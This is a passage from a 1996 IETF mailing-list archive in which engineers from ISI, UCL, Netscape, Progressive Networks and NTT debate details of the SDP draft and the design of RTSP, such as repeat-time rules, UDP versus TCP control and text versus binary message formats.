>There's also the issue about what to do about the fact that not every month
>has a "31st"...

There are four sensible options here:
 - omit those months
 - map to last day of month
 - map to first day of next month
 - map to equivalent day since start of month

I'm not going to add mechanisms to do all of these!
My Psion organiser chose to map to last day of month, which does seem
the best choice to me.  If we have to specify one, this is the one I'd
choose.

So, I believe we can make this unambiguous, and do mostly what people
expect. 

The question Valerie asked was very valid though - do we *need* these?
We can always explicitly list the times using extra "t" fields - this
is perfectly valid, though somewhat lengthy.  It is however what we
agreed on for "first tuesday of each month" type sessions.

Opinions?

Mark

From majordom@ISI.EDU  Fri Nov 22 03:37:50 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05255>; Fri, 22 Nov 1996 05:38:01 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05235>; Fri, 22 Nov 1996 05:37:53 -0800
Received: from mercury.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA26984>; Fri, 22 Nov 1996 05:37:51 -0800
Received: from localhost (localhost [127.0.0.1]) by mercury.lcs.mit.edu (8.6.12/8.6.12) with SMTP id IAA14692; Fri, 22 Nov 1996 08:37:50 -0500
X-Authentication-Warning: mercury.lcs.mit.edu: Host localhost didn't use HELO protocol
From: Mark Handley<mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Valerie Lasker <valerie@precept.com>
Cc: confctrl@isi.edu
Subject: Re: comments on SDP draft-03 
In-Reply-To: Your message of "Thu, 21 Nov 96 19:52:41 -0200."
             <2.2.32.19961121215241.006ddf9c@pophost.precept.com> 
Date: Fri, 22 Nov 96 08:37:50 -0500
Message-Id: <854.848669870@mercury.lcs.mit.edu>
X-Mts: smtp
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>I do still think it makes sense to have an attribute that everyone can use
>for compression quality, but it needs to be codec and implementation
>specific. How about something like:
>
>a=quality:<quality>
>This can be used to provide information about compression quality to the
>video codec. It is a media attribute.

It seems we have a few choices
 
1. specify a "quality" attribute and specify that it is defined how to
map this onto codec parameters elsewhere (where?)

2. specify a "quality" attribute (say 0-10) and state that 10 is the
best still-image quality the compression scheme can give, 0 is the
worst still-image quality the codec implementor thought was usable,
and 5 is the default setting for the codec.

3. not specify a "quality" attribute at all, but specify attributes
like "h261-max-quantiser" or whatever you wish to call it.


Either 2. or 3. seem reasonable to me.  With 2, at least setting a
value of "7" means I care more about image quality than frame rate,
and "3" means the opposite.  Option 1. seems to punt the issue to
some as yet undefined place, and I'm not really happy about that.

What do people think?

Mark

From majordom@ISI.EDU  Fri Nov 22 14:06:23 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06285>; Fri, 22 Nov 1996 06:07:00 -0800
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06273>; Fri, 22 Nov 1996 06:06:57 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA28867>; Fri, 22 Nov 1996 06:06:47 -0800
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.24378-0@bells.cs.ucl.ac.uk>; Fri, 22 Nov 1996 14:06:25 +0000
To: Mark Handley <mjh@ISI.EDU>
Cc: confctrl@ISI.EDU
Subject: Re: comments on SDP draft-03
In-Reply-To: Your message of "Fri, 22 Nov 1996 08:13:33 EST." <484.848668413@mercury.lcs.mit.edu>
Date: Fri, 22 Nov 1996 14:06:23 +0000
Message-Id: <2545.848671583@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


 >My Psion organiser chose to map to last day of month, which does seem
 >the best choice to me.  If we have to specify one, this is the one I'd
 >choose.
 

Psion have just  released a TCP stack......it should work on their IrDA port
ok and talk to PCs and things like HP's netbeam (infrared to ether
bridge)

time to port the mbone tools to the world's best palmtop, and have a
working startrek communicator all the wayfrom the UK??

 jon


From majordom@ISI.EDU  Fri Nov 22 01:34:32 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18444>; Fri, 22 Nov 1996 09:35:11 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18431>; Fri, 22 Nov 1996 09:35:10 -0800
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA09220>; Fri, 22 Nov 1996 09:35:09 -0800
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA06724
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Fri, 22 Nov 1996 09:35:10 -0800
Message-Id: <2.2.32.19961122173432.00c27030@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 22 Nov 1996 09:34:32 -0800
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP: Compartmentalizing RTSP
Cc: rtsp-partners@netscape.com
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The primary issue at the Streams BOF II, hosted by Jeff Smith at NTT, was
whether the scope of RTSP should be limited to client-server streaming, or
whether it should be generalized enough to work in both the client-server
model, and in the peer-to-peer conferencing model. The specific implications
of this manifest themselves throughout the following items.

Compartmentalize The Protocol

We need to strike the balance between the current RTSP proposal of having
one protocol that accomplishes all necessary tasks and the proposal by
several attendees that RTSP should be modularized, breaking it up into
several components. 

Below is a straw man for breaking up RTSP into smaller pieces.
I don't necessarily agree that it should be broken up into as many
pieces as I've outlined below. However, we'll go along with a
well-reasoned consensus and allow it to evolve.

Piece 1: RTSP Framework

The RTSP Framework would provide a collection of application and
transport-level control protocols providing an extensible framework to
enable controlled, on-demand delivery of real-time data in a
client-server fashion. This document would describe how the underlying
protocols are assembled to provide a complete specification.

Our Base Requirements

     Must provide a complete set of functionality for one-to-many
     streaming of multimedia 
     Must support real-time audio/video files and live real-time feeds
     or any type of live or other paced-content information 
     Protocol must be usable over low-bandwidth connections 
     Must optionally be capable of delivering full start-to-finish
     functionality within a single TCP connection 

Piece 2: RTSP Control Protocol

The RTSP Control Protocol is the protocol that provides stream
control for the RTSP Framework. This would be similar to the work
that the MMUSIC group did with CCCP.

Piece 3: RTSP Format Descriptors

Appendix C of the current RTSP spec specifies format descriptors and
families. There has been an expressed desire from Mark Handley and
Henning Schulzrinne to separate this from the "control" part and make
them the stream description format.

Barring a full decoupling of RTSP and the format specifiers, even if the
spirit of Appendix C remains the same, splitting the document here may
be beneficial to encourage the evolution of the data types independent
of the core RTSP specification.

Piece 4: Stream Description Format 

This may be a merge of the Stream Description Protocol (SDP)
proposed by Mark Handley and the tenative RTSP format. Henning
Schulzrinne has a proposal which he has placed at
http://www.cs.columbia.edu/~hgs/rtsp/sdf.html

He proposes the name "Session Description Format", which is one
possibility. For that matter, we could come up with more reasonable
names by the pick-one-from-any-column mechanism:

      Column 1         Column 2        Column 3
      ========         ========        ========
      Session          Description     Format
      Clip             Metafile
      Presentation
      

Piece 5: Streaming Stream Description Format

This would provide stream description functionality in a streaming
format, such that new streams can be dynamically added and removed
within a single RTSP session, and that a single TCP connection
(authenticated once) can handle the entire experience from start to
finish. This would be similar to SIP, and perhaps could be merged with
SIP.

Piece 6: Compressed Header Format (Compressed RTP)

This would be the definintion of the RTSP version of compressed RTP.

Piece 7: SCP and Compressed SCP

We'll work with Simon Spero and the appropriate working groups to
define a format that works well for this.

Simon has a new proposal for SCP at:
http://sunsite.unc.edu/ses/scp.html 

We haven't had time to fully evaluate it, but so far, it looks pretty good.

Piece 8: Using RTSP Control over SCP

This would define how the RTSP Control protocol would work over
SCP.

Piece 9: Using RTSP Control over UDP

...yet another proposal

Those are the possible chunks.  Which parts need separate drafts, and which
are more appropriate as sections of a single draft.

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio       Web: http://www.realaudio.com


From majordom@ISI.EDU  Fri Nov 22 04:07:08 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03675>; Fri, 22 Nov 1996 12:11:40 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03660>; Fri, 22 Nov 1996 12:11:38 -0800
Received: from proxy2.ba.best.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA24482>; Fri, 22 Nov 1996 12:11:38 -0800
Received: from mg137-035.ricochet.net (mg137-035.ricochet.net [204.179.137.35]) by proxy2.ba.best.com (8.8.3/8.7.3) with SMTP id MAA04539; Fri, 22 Nov 1996 12:07:08 -0800 (PST)
Date: Fri, 22 Nov 1996 12:07:08 -0800 (PST)
Message-Id: <1.5.4.16.19961122125751.2007db7e@pop.best.com>
X-Sender: rsf@pop.best.com
X-Mailer: Windows Eudora Light Version 1.5.4 (16)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: Mark Handley<mjh@ISI.EDU>
From: Ross Finlayson <finlayson@lvn.com>
Subject: Re: comments on SDP draft-03 
Cc: Valerie Lasker <valerie@precept.com>, confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>An alternative I prefer is to make the session-level "c" field
>optional, but that if it did not appear, then media-level "c" fields
>are compulsory.  If there is a session-level "c" field, media-level "c"
>fields are optional.  I.e, you need one or the other...
>
>Partly I prefer this because it won't break sdr :-), but also because
>it's pretty natural from the media-inherit-properties-from-session way
>sdr works.

Fair enough.  This also has the advantage of saving space in the common case
where each medium uses the same group address - i.e., you don't need to
repeat it in each media description.

>>>>Has anyone implemented/has plans to implement the same day of year/same day
>>>>of month form of repeats?
>...
>>However, it occurred to me recently that the
>>specification, as it currently stands, is ambiguous, because for events that
>>occur near month boundaries, it's not always clear exactly what "same day of
>>the month" is really intended.
>>
>>Example: Suppose that we receive a description that specifies:
>>        start time: March 1, 1997 3am UTC,
>>        repeated "same day of the month, each month"
>>
>>Unfortunately, it's not clear from this what "same day of the month" the
>>creator really intended.  For instance, if I created the announcement here
>>in California (8 hours behind UTC), then I probably meant "the 28th of each
>>month" (my time; the next day in UTC).  But if the creator was in the UK,
>>then he probably meant "the 1st of each month".
>
>Very good point.  You'd also need to specify an offset from UTC to
>make this unambiguous.

FYI, the current concensus within the IETF "calendar scheduling" WG seems to
be that event descriptions (both single and repeating) should include all
three of: event timezone, event local time, offset from UTC.  The idea being
that "event local time-offset from UTC" will give you the event time in UTC,
but that "event local time" and "event timezone" are also available as
'hints' that the receiver can use if he wishes.  (I'm not thrilled by this,
but some people are concerned about the possibility of the event creator's
DST rules changing after the event description has been created, for
instance.)  Anyway, one fortunate side effect of having the "event local
time" available is that we can make things like "same day of the month"
unambiguous.  (I'm still not sure what's the best solution to the "not all
months have 29th, 30th, 31st" problem, though.)

>The question Valerie asked was very valid though - do we *need* these?
>We can always explicitly list the times using extra "t" fields - this
>is perfectly valid, though somewhat lengthy.  It is however what we
>agreed on for "first tuesday of each month" type sessions.
>
>Opinions?

I vote for removing the "Y" and "M" specifications from the SDP spec, at
least for now.  As we've noted, they're broken, noone currently seems to be
using them, and in the future we'll probably have to modify SDP anyway to
conform to the spec that comes out of the "calendar scheduling" group.  (At
the very least, we may need to add an "event timezone" field.)

        Ross.


From majordom@ISI.EDU  Fri Nov 22 05:12:46 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08546>; Fri, 22 Nov 1996 13:13:37 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08540>; Fri, 22 Nov 1996 13:13:36 -0800
Received: from r2d2.mcom.com (h-205-217-237-47.netscape.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA27870>; Fri, 22 Nov 1996 13:13:35 -0800
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54]) by r2d2.mcom.com (8.7.5/8.7.3) with ESMTP id NAA18515 for <confctrl@isi.edu>; Fri, 22 Nov 1996 13:13:34 -0800 (PST)
Received: from core ([207.1.143.99]) by dredd.mcom.com
          (Netscape Mail Server v2.01) with SMTP id AAA25898;
          Fri, 22 Nov 1996 13:13:35 -0700
Message-Id: <3296174E.63DE@netscape.com>
Date: Fri, 22 Nov 1996 13:12:46 -0800
From: Rob McCool <robm@netscape.com>
Organization: Netscape Communications
X-Mailer: Mozilla 3.0Gold (X11; U; IRIX 5.3 IP22)
Mime-Version: 1.0
To: confctrl@isi.edu
Cc: rtsp-partners@netscape.com
Subject: RTSP: streaming and conferences
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At the NTT BOF meeting and the Netscape partners meeting, the
question of introducing an RTSP stream into an existing
conference was raised. One example which has been brought up is
where a group of people could be having a conference, and all
want to watch the same video clip at the same time. One
conference participant would call up the video server via RTSP,
and begin playback of the clip to all of the members of the
conference. The person who started the playback would control
the stream (to stop, or seek it for example). The stream would
be delivered via one of the transports allowed by RTSP
(i.e. RTP, multicast or unicast).

This requirement seems to be most easily met by making one of
the following changes to the current RTSP SET_TRANSPORT
message:

* Add a new channel ID, which as its transport specific data
  takes a group of addresses. The addresses would not need to be
  the same as the address of the RTSP peer, and could
  potentially consist of a mix of multicast and unicast
  addresses. Upon delivery, the server would send packets to all
  of them.

* The requirement that the client never send channel ID 1 could
  be lifted. The transport specific messages for channel ID 0
  and 1 would be changed to take an address count and a set of
  addresses, which could again be any mix of unicast and
  multicast.

This raises a couple of questions:

Is this extension of the protocol scope wide enough to make it
useful to conference applications, yet narrow enough to keep the
protocol focused on streaming applications? If it's not enough
to be useful to conference applications, what additional
extensions would be required? Note that in this instance, the server
would not necessarily be sending RTCP packets about itself. The goal
is to leave any conference-specific information or techniques out of
the RTSP protocol.

Is it a security problem to allow the server to send data
packets to a different address than the one which requested the
data? The problem I can imagine is denial of service, where you
flood a mail server with unrequested packets for example. But
this is possible today without using RTSP, if there is no
firewall present.

One scenario is that someone has an RTSP-aware firewall which,
when a user behind the firewall makes an outgoing TCP connection
to an RTSP server, watches the TCP traffic looking for a
SET_TRANSPORT message. When it finds one, it opens the
corresponding UDP port and address and allows data to flow until
the TCP connection is closed. In this case, it might be possible
for someone to request a sensitive address (like that of a mail
server) behind the firewall, and the RTSP server could then
cause a disruption of service by flooding that address with
data. This case doesn't seem very interesting to me, because the
person requesting the address is behind the firewall to begin
with.

These security implications could be dealt with by placing the burden
of authentication on the server. That is, if the new channel ID
approach is used, implementation of that channel ID would be made
optional. This would allow a server to decide for itself if it trusted
a client enough to allow the client to tell the server to send data to
an arbitrary address.


--
Rob McCool, robm@netscape.com http://home.netscape.com/people/robm/
Stunt Programmer, Netscape Communications Corporation
But I only changed... oh.

From majordom@ISI.EDU  Fri Nov 22 05:11:25 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08490>; Fri, 22 Nov 1996 13:12:22 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08484>; Fri, 22 Nov 1996 13:12:21 -0800
Received: from r2d2.mcom.com (h-205-217-237-47.netscape.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA27823>; Fri, 22 Nov 1996 13:12:19 -0800
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54]) by r2d2.mcom.com (8.7.5/8.7.3) with ESMTP id NAA18485 for <confctrl@isi.edu>; Fri, 22 Nov 1996 13:12:14 -0800 (PST)
Received: from core ([207.1.143.99]) by dredd.mcom.com
          (Netscape Mail Server v2.01) with SMTP id AAA25689;
          Fri, 22 Nov 1996 13:12:14 -0700
Message-Id: <329616FD.6231@netscape.com>
Date: Fri, 22 Nov 1996 13:11:25 -0800
From: Rob McCool <robm@netscape.com>
Organization: Netscape Communications
X-Mailer: Mozilla 3.0Gold (X11; U; IRIX 5.3 IP22)
Mime-Version: 1.0
To: confctrl@isi.edu
Cc: rtsp-partners@netscape.com
Subject: RTSP: UDP based control
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

There seems to be a strong feeling that having both TCP-based
and UDP-based delivery of control messages is important. The
reasons cited for UDP-based delivery include:

* A desire to avoid having a TCP connection around for every
  client which is receiving data from a server.
* Concerns about TCP's backoff mechanisms preventing control
  messages from being delivered promptly over a UDP-saturated pipe.

The arguments against allowing UDP-based delivery seem to
consist mainly of concerns that implementing reliability and
stateless messages could become overly complex.

It seems to me that one possibility would be to require RTSP
servers to implement TCP-based delivery of control messages, and
recommend that they implement UDP based delivery as well. In
this scenario, a client would then always be assured that it
could communicate with a server via TCP. 

Another possibility would be to provide both as options, and
leave it up to the application to decide which type of delivery
is better suited to its needs. In this scenario, a client would
never know which mechanism a remote server implements, and would
potentially have to try both.

It does not seem to make sense to drop TCP-based delivery of
control messages altogether. This is because using TCP is
simpler and can be useful in that context, and because of
firewall issues (some firewall schemes will allow an incoming
UDP stream only when associated with an outgoing TCP
connection).


Here are the issues I believe will need to be addressed before
implementing control message delivery over UDP:

* Message acknowledgement. Currently, there are some messages
  which are not explicitly acknowledged. They are:

    SET_TRANSPORT
    SET_SPEED
    SET_BLOCK_SIZE
    STOP
    RESUME
    UDP_RESEND

  A mechanism to acknowledge receipt of these messages will be
  necessary.

* Implicit state. In a different context, the issue has been
  raised that the STOP message does not include a time stamp
  indicating where to stop, and the RESUME message simply
  indicates that the stream should be resumed from the point
  where the STOP message was received. These messages will
  require timestamps, in order to ensure that if the STOP message
  is delayed, the stream is stopped in the correct place.

* Message lengths. In the current protocol many variable-length
  messages have their actual length specified by the size of the
  SCP segment. The size of fixed length messages is implied
  either by the size of the SCP segment or by the size specified
  in the protocol draft. Because we will want to be able to send
  multiple messages in one UDP packet, we will not want to use the
  size of the UDP packet to imply the length of a message. This
  means that we will need another means to identify the length of
  each record in the UDP packet. One way to do this is to
  include a length entry in each message. Another would be to use
  RTCP app packets.

* Stream identifiers. RTSP uses SCP to assign each stream a new
  identifier. Using UDP, there are a few ways we could also
  identify which stream a packet is associated with. One way is to
  use a different UDP port for each stream. This seems wasteful
  unless RTCP is being used. Another way is to include a stream
  identifier in each message, and have all messages go to the
  same port.

* Stream initiation. Currently, a new SCP stream is initiated
  for each resource a client wants to access. Because we will not
  have SCP over UDP, we will need to either create a new message
  which opens a new stream and assigns it an identifier, or we
  will need to extend the semantics of an existing message like
  FETCH to also assign a stream identifier to the stream.

These items also raise the question of whether or not SCP is
helpful in this case. If we plan to include an explicit length
and session identifier in the UDP messages, why not remove SCP
and make the TCP messages match their UDP counterparts?


--
Rob McCool, robm@netscape.com http://home.netscape.com/people/robm/
Stunt Programmer, Netscape Communications Corporation
But I only changed... oh.

From majordom@ISI.EDU  Fri Nov 22 05:55:59 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12170>; Fri, 22 Nov 1996 13:58:22 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12164>; Fri, 22 Nov 1996 13:58:18 -0800
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA00265>; Fri, 22 Nov 1996 13:58:17 -0800
Received: from ornette.nttlabs.com by mailhost.nttlabs.com (8.8.2/3.5W(96/10/22))
	id NAA18439; Fri, 22 Nov 1996 13:58:07 -0800 (PST)
Received: from coltrane.nttlabs.com (localhost.nttlabs.com [127.0.0.1]) by ornette.nttlabs.com (8.7.5/8.7.3) with ESMTP id VAA03712; Fri, 22 Nov 1996 21:55:59 GMT
Message-Id: <199611222155.VAA03712@ornette.nttlabs.com>
To: Rob McCool <robm@netscape.com>
Cc: confctrl@isi.edu, rtsp-partners@netscape.com
Subject: Re: RTSP: UDP based control 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Fri, 22 Nov 1996 13:11:25 PST"
References: <329616FD.6231@netscape.com> 
Date: Fri, 22 Nov 1996 13:55:59 -0800
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

 |>There seems to be a strong feeling that having both TCP-based
 |>and UDP-based delivery of control messages is important. The
 |>reasons cited for UDP-based delivery include:
 |>
 |>* A desire to avoid having a TCP connection around for every
 |>  client which is receiving data from a server.
 |>* Concerns about TCP's backoff mechanisms preventing control
 |>  messages from being delivered promptly over a UDP-saturated pipe.
 |>

Just a note...
In our (NTT's) somewhat special (maybe) case, multicasting the control
information is a requirement to provided shared awareness...

--
 Jeffrey D. Smith     $B!Z%8%'%U%j!<!&%9%_%9![(B
 Nippon Telegraph and Telephone Corporation   
 Software Laboratories Palo Alto	              
 250 Cambridge Ave., Suite 205			TEL  +1 415 833 3605
 Palo Alto, CA 94306				FAX  +1 415 326 1878
					 	ISDN +1 415 843 0667

 pgp-fingerprint: C1 EE A9 BD B1 E9 2E 9A  03 CF 6B E1 CF C4 D0 0D
 e-mail: sumisu@nttlabs.com

From majordom@ISI.EDU  Fri Nov 22 12:06:46 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13027>; Fri, 22 Nov 1996 14:07:08 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12967>; Fri, 22 Nov 1996 14:07:04 -0800
Received: from mercury.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA00901>; Fri, 22 Nov 1996 14:07:00 -0800
Received: from localhost (localhost [127.0.0.1]) by mercury.lcs.mit.edu (8.6.12/8.6.12) with SMTP id RAA05506; Fri, 22 Nov 1996 17:06:50 -0500
X-Authentication-Warning: mercury.lcs.mit.edu: Host localhost didn't use HELO protocol
From: Mark Handley<mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Rob McCool <robm@netscape.com>
Cc: confctrl@isi.edu, rtsp-partners@netscape.com
Subject: Re: RTSP: streaming and conferences 
In-Reply-To: Your message of "Fri, 22 Nov 96 13:12:46 PST."
             <3296174E.63DE@netscape.com> 
Date: Fri, 22 Nov 96 17:06:46 -0500
Message-Id: <5434.848700406@mercury.lcs.mit.edu>
X-Mts: smtp
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>This requirement seems to be most easily met by making one of
>the following changes to the current RTSP SET_TRANSPORT
>message:
>
>* Add a new channel ID, which as its transport specific data
>  takes a group of addresses. The addresses would not need to be
>  the same as the address of the RTSP peer, and could
>  potentially consist of a mix of multicast and unicast
>  addresses. Upon delivery, the server would send packets to all
>  of them.

...

>Is this extension of the protocol scope wide enough to make it
>useful to conference applications, yet narrow enough to keep the
>protocol focused on streaming applications? If it's not enough
>to be useful to conference applications, what additional
>extensions would be required?

It sounds like it's close, but the client must also specify encodings
to be used for playback (i.e, those that are being used in the
conference session).  If necessary, the server has to be able to reply
that it can't comply with the encodings.

>Is it a security problem to allow the server to send data
>packets to a different address than the one which requested the
>data? The problem I can imagine is denial of service, where you
>flood a mail server with unrequested packets for example. But
>this is possible today without using RTSP, if there is no
>firewall present.

I'm a little uneasy about "remote-controlled" unicast streams, but we
can possibly add some form of stream level handshake that the server
requires before it's willing to play (perhaps using RTCP APP packets
or something from the intended receiver) - this can be outside the
scope of the RTSP *control protocol*, so I don't think you need to
worry too much about it.

In principle (if not currently in practice) remote-controlled
multicast streams get pruned (with IGMPv3 and apps that can use it) so
the traffic won't go anywhere.

Mark

From majordom@ISI.EDU  Fri Nov 22 07:31:16 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22235>; Fri, 22 Nov 1996 15:31:57 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22227>; Fri, 22 Nov 1996 15:31:56 -0800
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA05403>; Fri, 22 Nov 1996 15:31:54 -0800
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA31351
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Fri, 22 Nov 1996 15:31:57 -0800
Message-Id: <2.2.32.19961122233116.00c6278c@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 22 Nov 1996 15:31:16 -0800
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP: Text v. Binary Control
Cc: rtsp-partners@netscape.com
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

In the original RTSP draft that PN and Netscape submitted, we proposed a
binary format for control messages.  However, as many folks have suggested
(and Henning has even put a proposal together that is almost ready for
public consumption), it may be better to have a text-based protocol. 

The more interesting differences (in a good way) from the original RTSP
draft are: 

  *  Rather than a binary, fixed-field format, messages are in ASCII text,
and are delimited by CR/LF. 
          Good News: Flexibility 
          Bad News: Parsing and Size Overheads 
  *  Message format looks awfully similar to HTTP, as follows:: 
           Method Object Version Sequence-Number
           [Parameter Value]*
           CRLF
     Message with a message body: 
           Method Object Version Sequence-Number
           Content-length:
           [Parameter value]*
           CRLF
           message-body

     Here's an example:
           GET twister RTSP/1.0 834 
           Conference: 128.16.64.19/32492374 
           Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FTZQ==

     (where "twister" is the file portion of the URL to the clip).

  *  The parameter-value pairs make this into a MIME-style header. This
allows for some very powerful extensibility, and it makes the protocol
somewhat self-documenting when debugging.

  *  It may also allow us to leverage some of the existing HTTP code bases,
and if designed properly, HTTP requests could occur on the same TCP connection.

There are a few downsides to this approach:

  *  Text-based, wordy, not tightly compressed.  Even though these are only
control messages (and so only make up a fraction of the total bandwidth
consumption), it still poses a problem if the protocol moves toward a
UDP-based model, where if the message gets too large, it may need to span
multiple packets.
  *  Parsing will be a bit more computationally expensive 
  *  Interleaving data/control within a single TCP connection using a
text-based protocol will be awkward if the goal is to minimize header size

So, I'd like to start a discussion on the pros and cons of text-based vs.
binary protocol.  Is there a strong feeling one way or another, and if so,
which way?  
---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio       Web: http://www.realaudio.com


From majordom@ISI.EDU  Fri Nov 22 14:02:09 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26235>; Fri, 22 Nov 1996 16:02:29 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26219>; Fri, 22 Nov 1996 16:02:23 -0800
Received: from mercury.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA06821>; Fri, 22 Nov 1996 16:02:20 -0800
Received: from localhost (localhost [127.0.0.1]) by mercury.lcs.mit.edu (8.6.12/8.6.12) with SMTP id TAA06142; Fri, 22 Nov 1996 19:02:10 -0500
X-Authentication-Warning: mercury.lcs.mit.edu: Host localhost didn't use HELO protocol
From: Mark Handley<mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@isi.edu, rtsp-partners@netscape.com
Subject: Re: RTSP: Text v. Binary Control 
In-Reply-To: Your message of "Fri, 22 Nov 96 15:31:16 PST."
             <2.2.32.19961122233116.00c6278c@mail.prognet.com> 
Date: Fri, 22 Nov 96 19:02:09 -0500
Message-Id: <6351.848707329@mercury.lcs.mit.edu>
X-Mts: smtp
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>  *  Text-based, wordy, not tightly compressed.  Even though these are only
>control messages (and so only make up a fraction of the total bandwidth
>consumption), it still poses a problem if the protocol moves toward a
>UDP-based model, where if the message gets too large, it may need to span
>multiple packets.

I don't believe the sort of protocol we're talking about is too likely
to cause a problem over UDP because of message size.  Occasionally it
does with SDP because we allow arbitrary length information fields,
but you wouldn't do this with RTSP.  

On the other hand you probably don't want to waste bytes by devising a
very wordy control protocol either, but fairly compact text based
protocols are not too difficult.

>  *  Parsing will be a bit more computationally expensive 

I wouldn't expect this to be significant compared to playing or
decoding the streams - WWW servers don't have a big problem with this,
despite the incredibly long sets of "Accept" fields - something I
would hope we'd avoid.

>  *  Interleaving data/control within a single TCP connection using a
>text-based protocol will be awkward if the goal is to minimize header size

The only large messages are likely to relate to media startup, so are
infrequent, and represent discontinuities anyway.  The format Henning
suggesting takes about 50 bytes client->server and 18 bytes (payload)
server->client for a typical command ("PLAY") during a session.

>So, I'd like to start a discussion on the pros and cons of text-based vs.
>binary protocol.  Is there a strong feeling one way or another, and if so,
>which way?  

My personal opinion is that I prefer text based *control* protocols
because of their great flexibility and extensibility.  They're much
easier to debug, and to program in languages like Perl and TCL which
make for fast prototyping and ease of experimentation.  They're also
much easier to give as examples in specification documents, which does
help them get implemented correctly.  

Take HTTP as an example - many things were wrong with HTTP, and are
slowly being refined, but the one thing that hasn't been changed is
the text based nature of its control messages.

The real question is do you really care about saving every last byte
in this context?  I don't believe we do.  Now for the actual data
stream, it's a completely different story...

Mark

From majordom@ISI.EDU  Fri Nov 22 08:22:45 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28436>; Fri, 22 Nov 1996 16:21:57 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28428>; Fri, 22 Nov 1996 16:21:56 -0800
Received: from r2d2.mcom.com (h-205-217-237-47.netscape.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA07697>; Fri, 22 Nov 1996 16:21:55 -0800
